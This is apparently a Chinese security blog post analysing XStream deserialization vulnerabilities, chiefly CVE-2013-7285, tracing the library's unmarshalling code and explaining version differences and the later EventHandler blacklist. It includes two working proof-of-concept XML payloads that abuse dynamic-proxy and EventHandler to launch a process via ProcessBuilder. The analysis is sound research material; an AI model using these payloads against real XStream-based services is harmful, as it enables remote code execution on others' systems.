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[资源分享]     Java安全之XStream 漏洞分析

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  • 2021-07-23 00:02:10
  • Java安全之XStream 漏洞分析

    0x00 前言

    好久没写漏洞分析文章了,最近感觉在审代码的时候,XStream 组件出现的频率比较高,借此来学习一波XStream的漏洞分析。

    0x01 XStream 历史漏洞

    下面罗列一下XStream历史漏洞

    XStream 远程代码执行漏洞 CVE-2013-7285 XStream <= 1.4.6
    XStream XXE CVE-2016-3674 XStream <= 1.4.8
    XStream 远程代码执行漏洞 CVE-2019-10173 XStream < 1.4.10
    XStream 远程代码执行漏洞 CVE-2020-26217 XStream <= 1.4.13
    XStream 远程代码执行漏洞 CVE-2021-21344 XStream: <= 1.4.15
    XStream 远程代码执行漏洞 CVE-2021-21345 XStream: <= 1.4.15
    XStream 远程代码执行漏洞 CVE-2021-21346 XStream: <= 1.4.15
    XStream 远程代码执行漏洞 CVE-2021-21347 XStream<= 1.4.15
    XStream 远程代码执行漏洞 CVE-2021-21350 XStream: <= 1.4.15
    XStream 远程代码执行漏洞 CVE-2021-21351 XStream: <= 1.4.15
    XStream 远程代码执行漏洞 CVE-2021-29505 XStream: <= 1.4.16

    详细可查看XStream 官方地址

    0x02 XStream 使用与解析

    介绍

    XStream是一套简洁易用的开源类库,用于将Java对象序列化为XML或者将XML反序列化为Java对象,是Java对象和XML之间的一个双向转化器。

    使用

    序列化

     public static void main(String[] args) {
          
            XStream xStream = new XStream();
            Person person = new Person();
            person.setName("xxx");
            person.setAge(22);
            String s = xStream.toXML(person);
            System.out.println(s);
        }
    
    <com.nice0e3.Person>
      <name>xxx</name>
      <age>22</age>
    </com.nice0e3.Person>
    

    反序列化

      XStream xStream = new XStream();
        String xml =
                    "<com.nice0e3.Person>\n" +
                    "  <name>xxx</name>\n" +
                    "  <age>22</age>\n" +
                    "</com.nice0e3.Person>";
    
            Person person1 = (Person)xStream.fromXML(xml);
            System.out.println(person1);
    

    结果

    Person{name='xxx', age=22}
    

    EventHandler类

    分析前先来看到EventHandler类,EventHandler类是实现了InvocationHandler的一个类,设计本意是为交互工具提供beans,建立从用户界面到应用程序逻辑的连接。其中会查看调用的方法是否为hashCodeequalstoString,如果不为这三个方法则往下走,而我们的需要利用的部分在下面。EventHandler.invoke()-->EventHandler.invokeInternal()-->MethodUtil.invoke()任意反射调用。

    组成部分

    XStream 总体由五部分组成

    XStream 作为客户端对外提供XML解析与转换的相关方法。

    1. AbstractDriver 为XStream提供流解析器和编写器的创建。目前支持XML(DOM,PULL)、JSON解析器。解析器HierarchicalStreamReader,编写器HierarchicalStreamWriter(PS:XStream默认使用了XppDriver)。

    2. MarshallingStrategy 编组和解组策略的核心接口,两个方法:
      marshal:编组对象图
      unmarshal:解组对象图
      TreeUnmarshaller 树解组程序,调用mapper和Converter把XML转化成java对象,里面的start方法开始解组,convertAnother方法把class转化成java对象。
      TreeMarshaller 树编组程序,调用mapper和Converter把java对象转化成XML,里面的start方法开始编组,convertAnother方法把java对象转化成XML。
      它的抽象子类AbstractTreeMarshallingStrategy有抽象两个方法
      createUnmarshallingContext
      createMarshallingContext
      用来根据不同的场景创建不同的TreeUnmarshaller子类和TreeMarshaller子类,使用了策略模式,如ReferenceByXPathMarshallingStrategy创建ReferenceByXPathUnmarshallerReferenceByIdMarshallingStrategy创建ReferenceByIdUnmarshaller(PS:XStream默认使用ReferenceByXPathMarshallingStrategy

    3. Mapper 映射器,XML的elementName通过mapper获取对应类、成员、属性的class对象。支持解组和编组,所以方法是成对存在real 和serialized,他的子类MapperWrapper作为装饰者,包装了不同类型映射的映射器,如AnnotationMapperImplicitCollectionMapperClassAliasingMapper

    4. ConverterLookup 通过Mapper获取的Class对象后,接着调用lookupConverterForType获取对应Class的转换器,将其转化成对应实例对象。DefaultConverterLookup是该接口的实现类,同时实现了ConverterRegistry的接口,所有DefaultConverterLookup具备查找converter功能和注册converter功能。所有注册的转换器按一定优先级组成由TreeSet保存的有序集合(PS:XStream 默认使用了DefaultConverterLookup)。

    Mapper解析

    根据elementName查找对应的Class,首先调用realClass方法,然后realClass方法会在所有包装层中一层层往下找,并还原elementName的信息,比如在ClassAliasingMapper根据component别名得出Component类,最后在DefaultMapper中调用realClass创建出Class。
    CachingMapper-->SecurityMapper-->ArrayMapper-->ClassAliasingMapper-->PackageAliasingMapper-->DynamicProxyMapper--->DefaultMapper

    XStream 源码解析

    0x03 漏洞分析

    CVE-2013-7285

    影响范围

    1.4.x<=1.4.6或1.4.10

    漏洞简介

    XStream序列化和反序列化的核心是通过Converter转换器来将XML和对象之间进行相互的转换。

    XStream反序列化漏洞的存在是因为XStream支持一个名为DynamicProxyConverter的转换器,该转换器可以将XML中dynamic-proxy标签内容转换成动态代理类对象,而当程序调用了dynamic-proxy标签内的interface标签指向的接口类声明的方法时,就会通过动态代理机制代理访问dynamic-proxy标签内handler标签指定的类方法;利用这个机制,攻击者可以构造恶意的XML内容,即dynamic-proxy标签内的handler标签指向如EventHandler类这种可实现任意函数反射调用的恶意类、interface标签指向目标程序必然会调用的接口类方法;最后当攻击者从外部输入该恶意XML内容后即可触发反序列化漏洞、达到任意代码执行的目的。

    漏洞分析

       public static void main(String[] args) {
    
            XStream xStream = new XStream();
    
            String xml =
                    "<sorted-set>\n" +
                            "    <string>foo</string>\n" +
                            "    <dynamic-proxy>\n" +
                            "        <interface>java.lang.Comparable</interface>\n" +
                            "        <handler class=\"java.beans.EventHandler\">\n" +
                            "            <target class=\"java.lang.ProcessBuilder\">\n" +
                            "                <command>\n" +
                            "                    <string>cmd</string>\n" +
                            "                    <string>/C</string>\n" +
                            "                    <string>calc</string>\n" +
                            "                </command>\n" +
                            "            </target>\n" +
                            "            <action>start</action>\n" +
                            "        </handler>\n" +
                            "    </dynamic-proxy>\n" +
                            "</sorted-set>";
            
           xStream.fromXML(xml);
    
        }
    

    一路跟踪下来代码走到com.thoughtworks.xstream.core.TreeUnmarshaller#start

    public Object start(final DataHolder dataHolder) {
            this.dataHolder = dataHolder;
            //通过mapper获取对应节点的Class对象
            final Class<?> type = HierarchicalStreams.readClassType(reader, mapper);
            //Converter根据Class的类型转化成java对象
            final Object result = convertAnother(null, type);
            for (final Runnable runnable : validationList) {
                runnable.run();
            }
            return result;
        }
    

    调用HierarchicalStreams.readClassType方法,从序列化的数据中获取一个真实的class对象。

    public static Class<?> readClassType(final HierarchicalStreamReader reader, final Mapper mapper) {
            if (classAttribute == null) {
            // 通过节点名获取Mapper中对应的Class
            Class<?> type = mapper.realClass(reader.getNodeName());
            return type;
        }
    

    方法内部调用readClassAttribute。来看到方法

    public static String readClassAttribute(HierarchicalStreamReader reader, Mapper mapper) {
        String attributeName = mapper.aliasForSystemAttribute("resolves-to");
        String classAttribute = attributeName == null ? null : reader.getAttribute(attributeName);
        if (classAttribute == null) {
            attributeName = mapper.aliasForSystemAttribute("class");
            if (attributeName != null) {
                classAttribute = reader.getAttribute(attributeName);
            }
        }
    
        return classAttribute;
    }
    

    其中调用获取调用aliasForSystemAttribute方法获取别名。

    获取resolves-toclass判断解析的xml属性值中有没有这两字段。

    这里返回为空,继续来看到com.thoughtworks.xstream.core.util.HierarchicalStreams#readClassType

    为空的话,则走到这里

    type = mapper.realClass(reader.getNodeName());
    

    获取当前节点的名称,并进行返回对应的class对象。

    跟踪mapper.realClass方法。com.thoughtworks.xstream.mapper.CachingMapper#realClass

     public Class realClass(String elementName) {
            Object cached = this.realClassCache.get(elementName);
            if (cached != null) {
                if (cached instanceof Class) {
                    return (Class)cached;
                } else {
                    throw (CannotResolveClassException)cached;
                }
            } else {
                try {
                    Class result = super.realClass(elementName);
                    this.realClassCache.put(elementName, result);
                    return result;
                } catch (CannotResolveClassException var4) {
                    this.realClassCache.put(elementName, var4);
                    throw var4;
                }
            }
        }
    

    找到别名应的类,存储到realClassCache中,并且进行返回。

    执行完成回到com.thoughtworks.xstream.core.TreeUnmarshaller#start

    跟进代码

    Object result = this.convertAnother((Object)null, type);
    

    来到这里

    public Object convertAnother(final Object parent, Class<?> type, Converter converter) {
            //根据mapper获取type实现类
            type = mapper.defaultImplementationOf(type);
            if (converter == null) {
                //根据type找到对应的converter
                converter = converterLookup.lookupConverterForType(type);
            } else {
                if (!converter.canConvert(type)) {
                    final ConversionException e = new ConversionException("Explicitly selected converter cannot handle type");
                    e.add("item-type", type.getName());
                    e.add("converter-type", converter.getClass().getName());
                    throw e;
                }
            }
             // 进行把type转化成对应的object
            return convert(parent, type, converter);
        }
    

    this.mapper.defaultImplementationOf方法会在mapper对象中去寻找接口的实现类

    下面调用 this.converterLookup.lookupConverterForType(type);方法寻找对应类型的转换器。

     public Converter lookupConverterForType(final Class<?> type) {
            //先查询缓存的类型对应的转换器集合
            final Converter cachedConverter = type != null ? typeToConverterMap.get(type.getName()) : null;
            if (cachedConverter != null) {
                //返回找到的缓存转换器
                return cachedConverter;
            }
            
            final Map<String, String> errors = new LinkedHashMap<>();
            //遍历转换器集合
            for (final Converter converter : converters) {
                try {
                    //判断是不是符合的转换器
                    if (converter.canConvert(type)) {
                        if (type != null) {
                            //缓存类型对应的转换器
                            typeToConverterMap.put(type.getName(), converter);
                        }
                        //返回找到的转换器
                        return converter;
                    }
                } catch (final RuntimeException | LinkageError e) {
                    errors.put(converter.getClass().getName(), e.getMessage());
                }
            }
    }
    

    canConvert 变量所有转换器,通过调用Converter.canConvert()方法来匹配转换器是否能够转换出TreeSet类型,这里找到满足条件的TreeSetConverter转换器

    下面则是调用this.typeToConverterMap.put(type, converter);将该类和转换器存储到map中。

    然后将转换器进行返回。

    回到com.thoughtworks.xstream.core.TreeUnmarshaller#convertAnother中,执行来到这里。

      protected Object convert(Object parent, Class type, Converter converter) {
            Object result;
            if (this.parentStack.size() > 0) {
                result = this.parentStack.peek();
                if (result != null && !this.values.containsKey(result)) {
                    this.values.put(result, parent);
                }
            }
    
            String attributeName = this.getMapper().aliasForSystemAttribute("reference");
            String reference = attributeName == null ? null : this.reader.getAttribute(attributeName);
            Object cache;
            if (reference != null) {
                cache = this.values.get(this.getReferenceKey(reference));
                if (cache == null) {
                    ConversionException ex = new ConversionException("Invalid reference");
                    ex.add("reference", reference);
                    throw ex;
                }
    
                result = cache == NULL ? null : cache;
            } else {
                cache = this.getCurrentReferenceKey();
                this.parentStack.push(cache);
                result = super.convert(parent, type, converter);
                if (cache != null) {
                    this.values.put(cache, result == null ? NULL : result);
                }
    
                this.parentStack.popSilently();
            }
    
            return result;
        }
    

    获取reference别名后,从xml中获取reference标签内容。获取为空则调用

    this.getCurrentReferenceKey()来获取当前标签将当前标签。

    调用this.types.push将获取的值压入栈中,跟进查看一下。

    public Object push(Object value) {
            if (this.pointer + 1 >= this.stack.length) {
                this.resizeStack(this.stack.length * 2);
            }
    
            this.stack[this.pointer++] = value;
            return value;
        }
    

    实际上做的操作也只是将值存储在了this.stack变量里面。

    来到以下代码

    Object result = converter.unmarshal(this.reader, this);
    

    调用传递进来的类型转换器,也就是前面通过匹配获取到的类型转换器。调用unmarshal方法,进行xml解析。也就是com.thoughtworks.xstream.converters.collections.TreeSetConverter#unmarshal

    public Object unmarshal(HierarchicalStreamReader reader, UnmarshallingContext context) {
        TreeSet result = null;
        Comparator unmarshalledComparator = this.treeMapConverter.unmarshalComparator(reader, context, (TreeMap)null);
        boolean inFirstElement = unmarshalledComparator instanceof Null;
        Comparator comparator = inFirstElement ? null : unmarshalledComparator;
        TreeMap treeMap;
        if (sortedMapField != null) {
            TreeSet possibleResult = comparator == null ? new TreeSet() : new TreeSet(comparator);
            Object backingMap = null;
    
            try {
                backingMap = sortedMapField.get(possibleResult);
            } catch (IllegalAccessException var11) {
                throw new ConversionException("Cannot get backing map of TreeSet", var11);
            }
    
            if (backingMap instanceof TreeMap) {
                treeMap = (TreeMap)backingMap;
                result = possibleResult;
            } else {
                treeMap = null;
            }
        } else {
            treeMap = null;
        }
    
        if (treeMap == null) {
            PresortedSet set = new PresortedSet(comparator);
            result = comparator == null ? new TreeSet() : new TreeSet(comparator);
            if (inFirstElement) {
                this.addCurrentElementToCollection(reader, context, result, set);
                reader.moveUp();
            }
    
            this.populateCollection(reader, context, result, set);
            if (set.size() > 0) {
                result.addAll(set);
            }
        } else {
            this.treeMapConverter.populateTreeMap(reader, context, treeMap, unmarshalledComparator);
        }
    
        return result;
    }
    

    调用unmarshalComparator方法判断是否存在comparator,如果不存在,则返回NullComparator对象。

    protected Comparator unmarshalComparator(HierarchicalStreamReader reader, UnmarshallingContext context, TreeMap result) {
        Comparator comparator;
        if (reader.hasMoreChildren()) {
            reader.moveDown();
            if (reader.getNodeName().equals("comparator")) {
                Class comparatorClass = HierarchicalStreams.readClassType(reader, this.mapper());
                comparator = (Comparator)context.convertAnother(result, comparatorClass);
            } else {
                if (!reader.getNodeName().equals("no-comparator")) {
                    return NULL_MARKER;
                }
    
                comparator = null;
            }
    
            reader.moveUp();
        } else {
            comparator = null;
        }
    
        return comparator;
    }
    

    回到com.thoughtworks.xstream.converters.collections.TreeSetConverter#unmarshal

    获取为空,则 inFirstElement为false,下面的代码comparator变量中三目运算返回null。而possibleResult也是创建的是一个空的TreeSet对象。而后则是一些赋值,就没必要一一去看了。来看到重点部分。

    this.treeMapConverter.populateTreeMap(reader, context, treeMap, unmarshalledComparator);
    

    跟进一下。

    protected void populateTreeMap(HierarchicalStreamReader reader, UnmarshallingContext context, TreeMap result, Comparator comparator) {
            boolean inFirstElement = comparator == NULL_MARKER;
            if (inFirstElement) {
                comparator = null;
            }
    
            SortedMap sortedMap = new PresortedMap(comparator != null && JVM.hasOptimizedTreeMapPutAll() ? comparator : null);
            if (inFirstElement) {
                this.putCurrentEntryIntoMap(reader, context, result, sortedMap);
                reader.moveUp();
            }
    
            this.populateMap(reader, context, result, sortedMap);
    
            try {
                if (JVM.hasOptimizedTreeMapPutAll()) {
                    if (comparator != null && comparatorField != null) {
                        comparatorField.set(result, comparator);
                    }
    
                    result.putAll(sortedMap);
                } else if (comparatorField != null) {
                    comparatorField.set(result, sortedMap.comparator());
                    result.putAll(sortedMap);
                    comparatorField.set(result, comparator);
                } else {
                    result.putAll(sortedMap);
                }
    
            } catch (IllegalAccessException var8) {
                throw new ConversionException("Cannot set comparator of TreeMap", var8);
            }
        }
    

    下面调用了this.putCurrentEntryIntoMap跟进查看一下。

    读取标签内的内容并缓存到target这个Map中。

    reader.moveUp()往后解析xml

    然后调用this.populateMap(reader, context, result, sortedMap);

    跟进方法查看

      protected void populateMap(HierarchicalStreamReader reader, UnmarshallingContext context, Map map, final Map target) {
                    TreeSetConverter.this.populateCollection(reader, context, new AbstractList() {
                        public boolean add(Object object) {
                            return target.put(object, object) != null;
                        }
    
                        public Object get(int location) {
                            return null;
                        }
    
                        public int size() {
                            return target.size();
                        }
                    });
                }
    

    其中调用populateCollection用来循环遍历子标签中的元素并添加到集合中。

    调用addCurrentElementToCollection-->readItem

    protected Object readItem(HierarchicalStreamReader reader, UnmarshallingContext context, Object current) {
            Class type = HierarchicalStreams.readClassType(reader, this.mapper());
            return context.convertAnother(current, type);
        }
    

    读取标签内容,并且获取转换成对应的类,最后将类添加到targer中。

    跟踪一下看看。大概流程和前面的一样。

    一路跟踪来到

    com.thoughtworks.xstream.converters.extended.DynamicProxyConverter#unmarshal

    前面获得的DynamicProxyConverter

    这就获取到了一个动态代理的类。EventHandler

    com.thoughtworks.xstream.converters.collections.TreeMapConverter#populateTreeMap中调用result.putAll,也就是代理了EventHandler类的putALL。动态代理特性则会触发,EventHandler.invoke

    invoke的主要实现逻辑在invokeInternal

    怎么说呢,整体一套流程其实就是一个解析的过程。从com.thoughtworks.xstream.core.TreeUnmarshaller#start方法开始解析xml,调用HierarchicalStreams.readClassType通过标签名获取Mapper中对于的class对象。获取class完成后调用com.thoughtworks.xstream.core.TreeUnmarshaller#convertAnother,该方法会根据class转换为对于的Java对象。convertAnother的实现是mapper.defaultImplementationOf方法查找class实现类。根据实现类获取对应转换器,获取转换器部分的实现逻辑是ConverterLookup中的lookupConverterForType方法,先从缓存集合中查找Converter,遍历converters找到符合的Converter。随后,调用convert返回object对象。convert方法实现逻辑是调用获取到的converter转换器的unmarshal方法来根据获取的对象,继续读取子节点,并转化成对象对应的变量。直到读取到最后一个节点退出循环。最终获取到java对象中的变量值也都设置,整个XML解析过程就结束了。

    POC2

    <tree-map>
        <entry>
            <string>fookey</string>
            <string>foovalue</string>
        </entry>
        <entry>
            <dynamic-proxy>
                <interface>java.lang.Comparable</interface>
                <handler class="java.beans.EventHandler">
                    <target class="java.lang.ProcessBuilder">
                        <command>
                            <string>calc.exe</string>
                        </command>
                    </target>
                    <action>start</action>
                </handler>
            </dynamic-proxy>
            <string>good</string>
        </entry>
    </tree-map>
    

    我们第一个payload使用的是sortedset接口在com.thoughtworks.xstream.core.TreeUnmarshaller#convertAnother方法中this.mapper.defaultImplementationOf(type);

    寻找到的实现类为java.util.TreeSet。根据实现类寻找到的转换器即TreeSetConverter

    这里使用的是tree-map,获取的实现类是他本身,转换器则是TreeMapConverter。同样是通过动态代理的map对象,调用putAll方法触发到EventHandler.invoke里面实现任意反射调用。

    1.3.1版本无法利用原因

    com.thoughtworks.xstream.core.util.HierarchicalStreams#readClassType

    该行代码爆出Method threw 'com.thoughtworks.xstream.mapper.CannotResolveClassException' exception.无法解析异常。

    发现是从遍历去调用map,调用realClass查找这里并没有从map中找到对应的class。所以这里报错了。

    1.4.7-1.4.9版本无法利用原因

    com.thoughtworks.xstream.core.TreeUnmarshaller#start

    Class type = HierarchicalStreams.readClassType(this.reader, this.mapper);
    Object result = this.convertAnother((Object)null, type);
    

    获取class部分成功了,报错位置在调用this.convertAnother转换成Object对象步骤上。

    跟进查看一下。

    EventHandler的处理由ReflectionConverter来处理的,在1.4.7-1.4.9版本。添加了canConvert方法的判断。

    1.4.10版本payload可利用原因

    com.thoughtworks.xstream.converters.reflection.ReflectionConverter#canConvert中没了对EventHandler类的判断。

    1.4.10版本以后添加了XStream.setupDefaultSecurity(xStream)方法的支持。

    com.thoughtworks.xstream.XStream$InternalBlackList#canConvert

      public boolean canConvert(Class type) {
                return type == Void.TYPE || type == Void.class || XStream.this.insecureWarning && type != null && (type.getName().equals("java.beans.EventHandler") || type.getName().endsWith("$LazyIterator") || type.getName().startsWith("javax.crypto."));
            }
    

    添加黑名单判断。

    0x04 结尾

    篇章略长,分开几部分来写。

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